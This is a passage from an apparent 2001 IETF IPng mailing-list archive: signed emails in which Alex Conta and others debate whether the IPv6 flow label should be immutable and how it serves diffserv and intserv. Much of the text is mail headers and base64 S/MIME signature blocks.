d6RAqwODEfrMo+UgOBwB5Ge+1DwrATDK5g1ycUmab1FCE/oCWKWp7ttKF01iFPMnv6X359uj pSYWP3pvNdr7JoA0+wIDAQABo4IBODCCATQwCQYDVR0TBAIwADCBrAYDVR0gBIGkMIGhMIGe BgtghkgBhvhFAQcBATCBjjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29t L0NQUzBiBggrBgEFBQcCAjBWMBUWDlZlcmlTaWduLCBJbmMuMAMCAQEaPVZlcmlTaWduJ3Mg Q1BTIGluY29ycC4gYnkgcmVmZXJlbmNlIGxpYWIuIGx0ZC4gKGMpOTcgVmVyaVNpZ24wEQYJ YIZIAYb4QgEBBAQDAgeAMDAGCmCGSAGG+EUBBgcEIhYgMjUzMTYxNzA3NGE1YTU1NzkzYzdl ODQyNjYxMjUwMjYwMwYDVR0fBCwwKjAooCagJIYiaHR0cDovL2NybC52ZXJpc2lnbi5jb20v Y2xhc3MxLmNybDANBgkqhkiG9w0BAQQFAAOBgQA0yPwnlaV3opZRses+UaAskkrPGC0jXwsu 7PKoN3dTKAd9UlWmZU1CBA3ZuoSGymYR+BLLDYdaLOJjKS3eWD5Xr5ips7id3QankOYYGwKO DoHj5EcX/VBCewZ1r54Py3WehHZ08/h/HVOaQDZNOUK6331mZJBXcYwlk71xgTPuPTCCAy4w ggKXoAMCAQICEQDSdi6NFAw9fbKoJV2v7g11MA0GCSqGSIb3DQEBAgUAMF8xCzAJBgNVBAYT AlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xhc3MgMSBQdWJsaWMg UHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw05ODA1MTIwMDAwMDBaFw0wODA1 MTIyMzU5NTlaMIHMMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNp Z24gVHJ1c3QgTmV0d29yazFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9yZXBvc2l0b3J5 L1JQQSBJbmNvcnAuIEJ5IFJlZi4sTElBQi5MVEQoYyk5ODFIMEYGA1UEAxM/VmVyaVNpZ24g Q2xhc3MgMSBDQSBJbmRpdmlkdWFsIFN1YnNjcmliZXItUGVyc29uYSBOb3QgVmFsaWRhdGVk MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC7WkSKBBa7Vf0DeootlE8VeDa4DUqyb5xU v7zodyqdufBou5XZMUFweoFLuUgTVi3HCOGEQqvAopKrRFyqQvCCDgLpL/vCO7u+yScKXbaw NkIztW5UiE+HSr8Z2vkV6A+HthzjzMaajn9qJJLj/OBluqexfu/J2zdqyErICQbkmQIDAQAB o3wwejARBglghkgBhvhCAQEEBAMCAQYwRwYDVR0gBEAwPjA8BgtghkgBhvhFAQcBATAtMCsG CCsGAQUFBwIBFh93d3cudmVyaXNpZ24uY29tL3JlcG9zaXRvcnkvUlBBMA8GA1UdEwQIMAYB Af8CAQAwCwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBAgUAA4GBAIi4Nzvd2pQ3AK2qn+GBAXEe kmptL/bxndPKZDjcG5gMB4ZbhRVqD7lJhaSV8Rd9Z7R/LSzdmkKewz60jqrlCwbe8lYq+jPH vhnXU0zDvcjjF7WkSUJj7MKmFw9dWBpJPJBcVaNlIAD9GCDlX4KmsaiSxVhqwY0DPOvDzQWi kK5uMYICPDCCAjgCAQEwgeEwgcwxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQL ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMUYwRAYDVQQLEz13d3cudmVyaXNpZ24uY29tL3Jl cG9zaXRvcnkvUlBBIEluY29ycC4gQnkgUmVmLixMSUFCLkxURChjKTk4MUgwRgYDVQQDEz9W ZXJpU2lnbiBDbGFzcyAxIENBIEluZGl2aWR1YWwgU3Vic2NyaWJlci1QZXJzb25hIE5vdCBW YWxpZGF0ZWQCEFPba2NE7lOz0w42qi29kXEwCQYFKw4DAhoFAKCBsTAYBgkqhkiG9w0BCQMx CwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wMTEyMzAxNjMwMjVaMCMGCSqGSIb3DQEJ BDEWBBTsp59gfRaB1iS6dtmifQ2rD1D79TBSBgkqhkiG9w0BCQ8xRTBDMAoGCCqGSIb3DQMH MA4GCCqGSIb3DQMCAgIAgDAHBgUrDgMCBzANBggqhkiG9w0DAgIBQDANBggqhkiG9w0DAgIB KDANBgkqhkiG9w0BAQEFAASBgFOL1xBrylzlWJ4y3vKMxc8WOTcTiAi33R9M93sKWS4HfCfx t3mroYkwZ2YcttbQPUO4F3CRz5LAl1hS4TAPVsjb8n+VwfV5B+fN7m6KnRw2Vb3RB6QJFo7C moEn1IScvLZFMIr9RKLnGKL6mj38RfdiqB/Ku0ENGrdkNgPxIjEc --------------ms88F486B637D2DF2EEA1858B4-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 30 08:34:32 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBUGYVZR025092 for ; Sun, 30 Dec 2001 08:34:31 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBUGYVxl025091 for ipng-dist; Sun, 30 Dec 2001 08:34:31 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBUGYSZR025084 for ; Sun, 30 Dec 2001 08:34:28 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA09118 for ; Sun, 30 Dec 2001 08:34:30 -0800 (PST) Received: from mailhub.txc.com (transfire.txc.com [208.5.237.254]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA21422 for ; Sun, 30 Dec 2001 09:35:27 -0700 (MST) Received: from jade.txc.com (jade.txc.com [198.138.97.40]) by mailhub.txc.com (8.9.3/8.9.3) with SMTP id LAA02610; Sun, 30 Dec 2001 11:36:59 -0500 Received: from txc.com by jade.txc.com (SMI-8.6/SMI-SVR4) id LAA02378; Sun, 30 Dec 2001 11:36:58 -0500 Message-ID: <3C2F4280.3B985C96@txc.com> Date: Sun, 30 Dec 2001 11:36:16 -0500 From: Alex Conta X-Mailer: Mozilla 4.77 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Brian E Carpenter CC: Margaret Wasserman , "Hesham Soliman (ERA)" , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <4.2.2.20011221173505.01fd64b0@mail.windriver.com> <4.2.2.20011226114335.020008f0@mail.windriver.com> <3C2AFCAE.889DEE98@hursley.ibm.com> Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------msC7354A7EEF99B3EEC4579826" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a cryptographically signed message in MIME format. --------------msC7354A7EEF99B3EEC4579826 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Some additional information on the use of the IPv6 flow label with "Diffserv" is in: draft-conta-diffserv-ipv6-fl-classifier-01.txt submitted to the "diffserv" WG. Alex Brian E Carpenter wrote: > > Margaret, > > For diffserv it's in the MIB (queued up at the RFC > Editor). [...] For diffserv, the flow label is the only field available > as an ISP-independent QOS flag, so (unlike the traffic class) > it needs to survive ISP boundaries. > > Brian > > Margaret Wasserman wrote: > > > > >No. The immutability property is necessary for both of the > > >existing QOS standards, and is necessary for any QOS mechanism > > >that doesn't require an explicit chain of SLAs along the entire > > >path (an unlikely scenario in a dynamically routed internet). > > > > If immutability would make the flow label field useful for > > diffserv and intserv, then I have no objection to it being > > immutable. I think that making intserv/diffserv more useful > > and/or efficient would be a fine use for the flow lable. > > > > Could we get a draft that explains how the flow label would be > > used for diffserv/intserv? One that justifies the need for > > immutability? > > > > Assuming that immutability would actually make the flow > > label more useful for diffserv/intserv, I would accept the > > minor changes to the base IPv6 spec (adding immutability) that > > Tony sent. But, I have not seen any draft that would make this > > single change. > > > > The current draft (in the subject) says a lot more > > than this. First, it recaps parts of the IPv6 Appendix, > > without really making it clear what parts of that Appendix > > it is (and is not) intending to standardize. > > > > The draft also states that a given source/desination/FL > > combination will uniquely identify a flow. This is not > > true -- some knowledge of lifetimes, or some restrictions > > against flow label re-use would be needed to make this > > true. > > > > Anyway, how a flow is identified shouldn't be defined as > > part of the base IPv6 specification. Each signalling > > (or other flow management) mechanism should define how > > flows are identified for its use -- and this may differ > > for different mechanisms. > > > > So -- what I'd like to see: > > > > - A draft that explains how the flow label > > would be used for intserv and/or > > diffserv that explains what properties > > are necessary for that use (i.e. > > length, immutability, values, etc.) > > - A draft that proposes the simple change > > to the IPv6 spec that Tony sent. > > > > Do you think that is reasonable? > > > > Margaret > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- --------------msC7354A7EEF99B3EEC4579826 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIIKQwYJKoZIhvcNAQcCoIIKNDCCCjACAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC B88wggSZMIIEAqADAgECAhBT22tjRO5Ts9MONqotvZFxMA0GCSqGSIb3DQEBBAUAMIHMMRcw FQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29y azFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9yZXBvc2l0b3J5L1JQQSBJbmNvcnAuIEJ5 IFJlZi4sTElBQi5MVEQoYyk5ODFIMEYGA1UEAxM/VmVyaVNpZ24gQ2xhc3MgMSBDQSBJbmRp dmlkdWFsIFN1YnNjcmliZXItUGVyc29uYSBOb3QgVmFsaWRhdGVkMB4XDTAxMTAwOTAwMDAw MFoXDTAyMTAwNDIzNTk1OVowggELMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UE CxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9y ZXBvc2l0b3J5L1JQQSBJbmNvcnAuIGJ5IFJlZi4sTElBQi5MVEQoYyk5ODEeMBwGA1UECxMV UGVyc29uYSBOb3QgVmFsaWRhdGVkMTMwMQYDVQQLEypEaWdpdGFsIElEIENsYXNzIDEgLSBO ZXRzY2FwZSBGdWxsIFNlcnZpY2UxEzARBgNVBAMUCkFsZXggQ29udGExHTAbBgkqhkiG9w0B CQEWDmFjb250YUB0eGMuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8pEA2sjg+ 0ynE9D2vtcBuy/TmA2NI6bhBQgSgmdHLYsI4ICXjR/im0tPg5Uc4BqnlFtf7U96XRalPp6a9 d6RAqwODEfrMo+UgOBwB5Ge+1DwrATDK5g1ycUmab1FCE/oCWKWp7ttKF01iFPMnv6X359uj pSYWP3pvNdr7JoA0+wIDAQABo4IBODCCATQwCQYDVR0TBAIwADCBrAYDVR0gBIGkMIGhMIGe BgtghkgBhvhFAQcBATCBjjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29t L0NQUzBiBggrBgEFBQcCAjBWMBUWDlZlcmlTaWduLCBJbmMuMAMCAQEaPVZlcmlTaWduJ3Mg Q1BTIGluY29ycC4gYnkgcmVmZXJlbmNlIGxpYWIuIGx0ZC4gKGMpOTcgVmVyaVNpZ24wEQYJ YIZIAYb4QgEBBAQDAgeAMDAGCmCGSAGG+EUBBgcEIhYgMjUzMTYxNzA3NGE1YTU1NzkzYzdl ODQyNjYxMjUwMjYwMwYDVR0fBCwwKjAooCagJIYiaHR0cDovL2NybC52ZXJpc2lnbi5jb20v Y2xhc3MxLmNybDANBgkqhkiG9w0BAQQFAAOBgQA0yPwnlaV3opZRses+UaAskkrPGC0jXwsu 7PKoN3dTKAd9UlWmZU1CBA3ZuoSGymYR+BLLDYdaLOJjKS3eWD5Xr5ips7id3QankOYYGwKO DoHj5EcX/VBCewZ1r54Py3WehHZ08/h/HVOaQDZNOUK6331mZJBXcYwlk71xgTPuPTCCAy4w ggKXoAMCAQICEQDSdi6NFAw9fbKoJV2v7g11MA0GCSqGSIb3DQEBAgUAMF8xCzAJBgNVBAYT AlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xhc3MgMSBQdWJsaWMg UHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw05ODA1MTIwMDAwMDBaFw0wODA1 MTIyMzU5NTlaMIHMMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNp Z24gVHJ1c3QgTmV0d29yazFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9yZXBvc2l0b3J5 L1JQQSBJbmNvcnAuIEJ5IFJlZi4sTElBQi5MVEQoYyk5ODFIMEYGA1UEAxM/VmVyaVNpZ24g Q2xhc3MgMSBDQSBJbmRpdmlkdWFsIFN1YnNjcmliZXItUGVyc29uYSBOb3QgVmFsaWRhdGVk MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC7WkSKBBa7Vf0DeootlE8VeDa4DUqyb5xU v7zodyqdufBou5XZMUFweoFLuUgTVi3HCOGEQqvAopKrRFyqQvCCDgLpL/vCO7u+yScKXbaw NkIztW5UiE+HSr8Z2vkV6A+HthzjzMaajn9qJJLj/OBluqexfu/J2zdqyErICQbkmQIDAQAB o3wwejARBglghkgBhvhCAQEEBAMCAQYwRwYDVR0gBEAwPjA8BgtghkgBhvhFAQcBATAtMCsG CCsGAQUFBwIBFh93d3cudmVyaXNpZ24uY29tL3JlcG9zaXRvcnkvUlBBMA8GA1UdEwQIMAYB Af8CAQAwCwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBAgUAA4GBAIi4Nzvd2pQ3AK2qn+GBAXEe kmptL/bxndPKZDjcG5gMB4ZbhRVqD7lJhaSV8Rd9Z7R/LSzdmkKewz60jqrlCwbe8lYq+jPH vhnXU0zDvcjjF7WkSUJj7MKmFw9dWBpJPJBcVaNlIAD9GCDlX4KmsaiSxVhqwY0DPOvDzQWi kK5uMYICPDCCAjgCAQEwgeEwgcwxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQL ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMUYwRAYDVQQLEz13d3cudmVyaXNpZ24uY29tL3Jl cG9zaXRvcnkvUlBBIEluY29ycC4gQnkgUmVmLixMSUFCLkxURChjKTk4MUgwRgYDVQQDEz9W ZXJpU2lnbiBDbGFzcyAxIENBIEluZGl2aWR1YWwgU3Vic2NyaWJlci1QZXJzb25hIE5vdCBW YWxpZGF0ZWQCEFPba2NE7lOz0w42qi29kXEwCQYFKw4DAhoFAKCBsTAYBgkqhkiG9w0BCQMx CwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wMTEyMzAxNjM2MTdaMCMGCSqGSIb3DQEJ BDEWBBTnkoX6dvreF0lVPbSYs08JgDDsRDBSBgkqhkiG9w0BCQ8xRTBDMAoGCCqGSIb3DQMH MA4GCCqGSIb3DQMCAgIAgDAHBgUrDgMCBzANBggqhkiG9w0DAgIBQDANBggqhkiG9w0DAgIB KDANBgkqhkiG9w0BAQEFAASBgCYu418t1gYs02qNwnzh4AHcHFgHKhUNENjEO8tMQHsPq4Zl a7OGf2uuZ2XOVMtvcZlpdlvh4F5NlYJ1Auqlb/Tq+RKubuUUK3v1bta3V2me0CmaJibpIqbB vr3lPjg+SPp9YkItH2zFKqywJvC2jBoHRB1h9veBzZdTdNstCITK --------------msC7354A7EEF99B3EEC4579826-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 30 09:13:52 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBUHDqZR025130 for ; Sun, 30 Dec 2001 09:13:52 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBUHDqsX025129 for ipng-dist; Sun, 30 Dec 2001 09:13:52 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBUHDmZR025122 for ; Sun, 30 Dec 2001 09:13:49 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA21961 for ; Sun, 30 Dec 2001 09:13:51 -0800 (PST) Received: from mailhub.txc.com (transfire.txc.com [208.5.237.254]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA26654 for ; Sun, 30 Dec 2001 10:14:49 -0700 (MST) Received: from jade.txc.com (jade.txc.com [198.138.97.40]) by mailhub.txc.com (8.9.3/8.9.3) with SMTP id MAA02867; Sun, 30 Dec 2001 12:16:20 -0500 Received: from txc.com by jade.txc.com (SMI-8.6/SMI-SVR4) id MAA02997; Sun, 30 Dec 2001 12:16:19 -0500 Message-ID: <3C2F4BB8.E780D236@txc.com> Date: Sun, 30 Dec 2001 12:15:36 -0500 From: Alex Conta X-Mailer: Mozilla 4.77 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Brian E Carpenter CC: Glenn Morrow , Margaret Wasserman , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <933FADF5E673D411B8A30002A5608A0E01449CD8@zrc2c012.us.nortel.com> <3C25F560.BBD63F23@hursley.ibm.com> Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms3D0F89664E239D41D9F79274" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a cryptographically signed message in MIME format. --------------ms3D0F89664E239D41D9F79274 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Of course the deployment of a certain type of flow setup and flow processing mechanism can be done only with devices that are supporting it. The fact that a device supports a certain mechanism or not does not make that mechanism "broken" (If for any reason, you cannot use OSPF on a router, does not make OSPF broken). If mutability has a lesser application in some cases, prohibiting its use in all cases, for instance at a local scale, or intra-domain scale, is an unnecessary overkill. Accepting mutability, when specifically indicated by the flow setup and flow processing mechanism, does not exclude signalling-free solutions - the default "behavior" can be "immutable". Alex Brian E Carpenter wrote: > > Glenn Morrow wrote: > > > If "function A" wants the field immutable so be it. The signaling for "function A" needs to convey the mutability rules to affected parties > > either implicitly or by optionality. > > This is broken. You can't signal to routers that aren't aware of > the "function A", because they won't be aware of the relevant > signalling either. Also, we need to be able to construct signalling-free > solutions (such as diffserv) for scalability. > > Immutability is the only viable answer. > > Brian > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- --------------ms3D0F89664E239D41D9F79274 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIIKQwYJKoZIhvcNAQcCoIIKNDCCCjACAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC B88wggSZMIIEAqADAgECAhBT22tjRO5Ts9MONqotvZFxMA0GCSqGSIb3DQEBBAUAMIHMMRcw FQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29y azFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9yZXBvc2l0b3J5L1JQQSBJbmNvcnAuIEJ5 IFJlZi4sTElBQi5MVEQoYyk5ODFIMEYGA1UEAxM/VmVyaVNpZ24gQ2xhc3MgMSBDQSBJbmRp dmlkdWFsIFN1YnNjcmliZXItUGVyc29uYSBOb3QgVmFsaWRhdGVkMB4XDTAxMTAwOTAwMDAw MFoXDTAyMTAwNDIzNTk1OVowggELMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UE CxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9y ZXBvc2l0b3J5L1JQQSBJbmNvcnAuIGJ5IFJlZi4sTElBQi5MVEQoYyk5ODEeMBwGA1UECxMV UGVyc29uYSBOb3QgVmFsaWRhdGVkMTMwMQYDVQQLEypEaWdpdGFsIElEIENsYXNzIDEgLSBO ZXRzY2FwZSBGdWxsIFNlcnZpY2UxEzARBgNVBAMUCkFsZXggQ29udGExHTAbBgkqhkiG9w0B CQEWDmFjb250YUB0eGMuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8pEA2sjg+ 0ynE9D2vtcBuy/TmA2NI6bhBQgSgmdHLYsI4ICXjR/im0tPg5Uc4BqnlFtf7U96XRalPp6a9 d6RAqwODEfrMo+UgOBwB5Ge+1DwrATDK5g1ycUmab1FCE/oCWKWp7ttKF01iFPMnv6X359uj pSYWP3pvNdr7JoA0+wIDAQABo4IBODCCATQwCQYDVR0TBAIwADCBrAYDVR0gBIGkMIGhMIGe BgtghkgBhvhFAQcBATCBjjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29t L0NQUzBiBggrBgEFBQcCAjBWMBUWDlZlcmlTaWduLCBJbmMuMAMCAQEaPVZlcmlTaWduJ3Mg Q1BTIGluY29ycC4gYnkgcmVmZXJlbmNlIGxpYWIuIGx0ZC4gKGMpOTcgVmVyaVNpZ24wEQYJ YIZIAYb4QgEBBAQDAgeAMDAGCmCGSAGG+EUBBgcEIhYgMjUzMTYxNzA3NGE1YTU1NzkzYzdl ODQyNjYxMjUwMjYwMwYDVR0fBCwwKjAooCagJIYiaHR0cDovL2NybC52ZXJpc2lnbi5jb20v Y2xhc3MxLmNybDANBgkqhkiG9w0BAQQFAAOBgQA0yPwnlaV3opZRses+UaAskkrPGC0jXwsu 7PKoN3dTKAd9UlWmZU1CBA3ZuoSGymYR+BLLDYdaLOJjKS3eWD5Xr5ips7id3QankOYYGwKO DoHj5EcX/VBCewZ1r54Py3WehHZ08/h/HVOaQDZNOUK6331mZJBXcYwlk71xgTPuPTCCAy4w ggKXoAMCAQICEQDSdi6NFAw9fbKoJV2v7g11MA0GCSqGSIb3DQEBAgUAMF8xCzAJBgNVBAYT AlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xhc3MgMSBQdWJsaWMg UHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw05ODA1MTIwMDAwMDBaFw0wODA1 MTIyMzU5NTlaMIHMMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNp Z24gVHJ1c3QgTmV0d29yazFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9yZXBvc2l0b3J5 L1JQQSBJbmNvcnAuIEJ5IFJlZi4sTElBQi5MVEQoYyk5ODFIMEYGA1UEAxM/VmVyaVNpZ24g Q2xhc3MgMSBDQSBJbmRpdmlkdWFsIFN1YnNjcmliZXItUGVyc29uYSBOb3QgVmFsaWRhdGVk MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC7WkSKBBa7Vf0DeootlE8VeDa4DUqyb5xU v7zodyqdufBou5XZMUFweoFLuUgTVi3HCOGEQqvAopKrRFyqQvCCDgLpL/vCO7u+yScKXbaw NkIztW5UiE+HSr8Z2vkV6A+HthzjzMaajn9qJJLj/OBluqexfu/J2zdqyErICQbkmQIDAQAB o3wwejARBglghkgBhvhCAQEEBAMCAQYwRwYDVR0gBEAwPjA8BgtghkgBhvhFAQcBATAtMCsG CCsGAQUFBwIBFh93d3cudmVyaXNpZ24uY29tL3JlcG9zaXRvcnkvUlBBMA8GA1UdEwQIMAYB Af8CAQAwCwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBAgUAA4GBAIi4Nzvd2pQ3AK2qn+GBAXEe kmptL/bxndPKZDjcG5gMB4ZbhRVqD7lJhaSV8Rd9Z7R/LSzdmkKewz60jqrlCwbe8lYq+jPH vhnXU0zDvcjjF7WkSUJj7MKmFw9dWBpJPJBcVaNlIAD9GCDlX4KmsaiSxVhqwY0DPOvDzQWi kK5uMYICPDCCAjgCAQEwgeEwgcwxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQL ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMUYwRAYDVQQLEz13d3cudmVyaXNpZ24uY29tL3Jl cG9zaXRvcnkvUlBBIEluY29ycC4gQnkgUmVmLixMSUFCLkxURChjKTk4MUgwRgYDVQQDEz9W ZXJpU2lnbiBDbGFzcyAxIENBIEluZGl2aWR1YWwgU3Vic2NyaWJlci1QZXJzb25hIE5vdCBW YWxpZGF0ZWQCEFPba2NE7lOz0w42qi29kXEwCQYFKw4DAhoFAKCBsTAYBgkqhkiG9w0BCQMx CwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wMTEyMzAxNzE1MzhaMCMGCSqGSIb3DQEJ BDEWBBQgF28OxJ6CcueD/pAxbJQFojqx+TBSBgkqhkiG9w0BCQ8xRTBDMAoGCCqGSIb3DQMH MA4GCCqGSIb3DQMCAgIAgDAHBgUrDgMCBzANBggqhkiG9w0DAgIBQDANBggqhkiG9w0DAgIB KDANBgkqhkiG9w0BAQEFAASBgJ1yS6rS4A4e7B+IPW336QM49f0NbzO1ihdJzwp9xKrK3UCl YwbGgv5IGOAxh2nY8sRaHXlZ7Eu6dWGwLVXRo026azuYQqvqbG6F3+rhkCNtEpE4N/tHP4py q63CM3d31bb7KeOCl/cBxTKMRZ9dxcGdIa6af9Z15TjwkxXkrC65 --------------ms3D0F89664E239D41D9F79274-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 30 09:32:59 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBUHWxZR025161 for ; Sun, 30 Dec 2001 09:32:59 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBUHWx2W025160 for ipng-dist; Sun, 30 Dec 2001 09:32:59 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBUHWuZR025153 for ; Sun, 30 Dec 2001 09:32:56 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA23513 for ; Sun, 30 Dec 2001 09:32:59 -0800 (PST) Received: from mailhub.txc.com (transfire.txc.com [208.5.237.254]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA27535 for ; Sun, 30 Dec 2001 10:32:58 -0700 (MST) Received: from jade.txc.com (jade.txc.com [198.138.97.40]) by mailhub.txc.com (8.9.3/8.9.3) with SMTP id MAA02957; Sun, 30 Dec 2001 12:35:27 -0500 Received: from txc.com by jade.txc.com (SMI-8.6/SMI-SVR4) id MAA03252; Sun, 30 Dec 2001 12:35:27 -0500 Message-ID: <3C2F5034.296F9A5E@txc.com> Date: Sun, 30 Dec 2001 12:34:44 -0500 From: Alex Conta X-Mailer: Mozilla 4.77 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Brian E Carpenter CC: ipng@sunroof.eng.sun.com Subject: Re: Proposed update to RFC 2460 [was Re: Flow Label] References: <200112262226.fBQMQwi25685@astro.cs.utk.edu> 